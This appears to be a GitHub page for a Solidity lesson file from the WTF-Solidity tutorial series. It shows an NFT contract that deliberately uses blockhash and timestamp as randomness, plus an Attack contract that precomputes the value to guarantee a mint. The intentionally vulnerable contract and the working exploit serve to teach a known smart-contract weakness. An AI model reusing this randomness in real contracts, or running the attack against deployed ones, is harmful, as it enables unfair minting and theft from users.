forked from AmazingAng/WTF-Solidity
-
Notifications
You must be signed in to change notification settings - Fork 0
/
BadRandomness.sol
31 lines (26 loc) · 1 KB
/
BadRandomness.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
// By 0xAA
pragma solidity ^0.8.4;
import "../34_ERC721/ERC721.sol";
contract BadRandomness is ERC721 {
uint256 totalSupply;
// 构造函数,初始化NFT合集的名称、代号
constructor() ERC721("", ""){}
// 铸造函数:当输入的 luckyNumber 等于随机数时才能mint
function luckyMint(uint256 luckyNumber) external {
uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number
require(randomNumber == luckyNumber, "Better luck next time!");
_mint(msg.sender, totalSupply); // mint
totalSupply++;
}
}
contract Attack {
function attackMint(BadRandomness nftAddr) external {
// 提前计算随机数
uint256 luckyNumber = uint256(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
) % 100;
// 利用 luckyNumber 攻击
nftAddr.luckyMint(luckyNumber);
}
}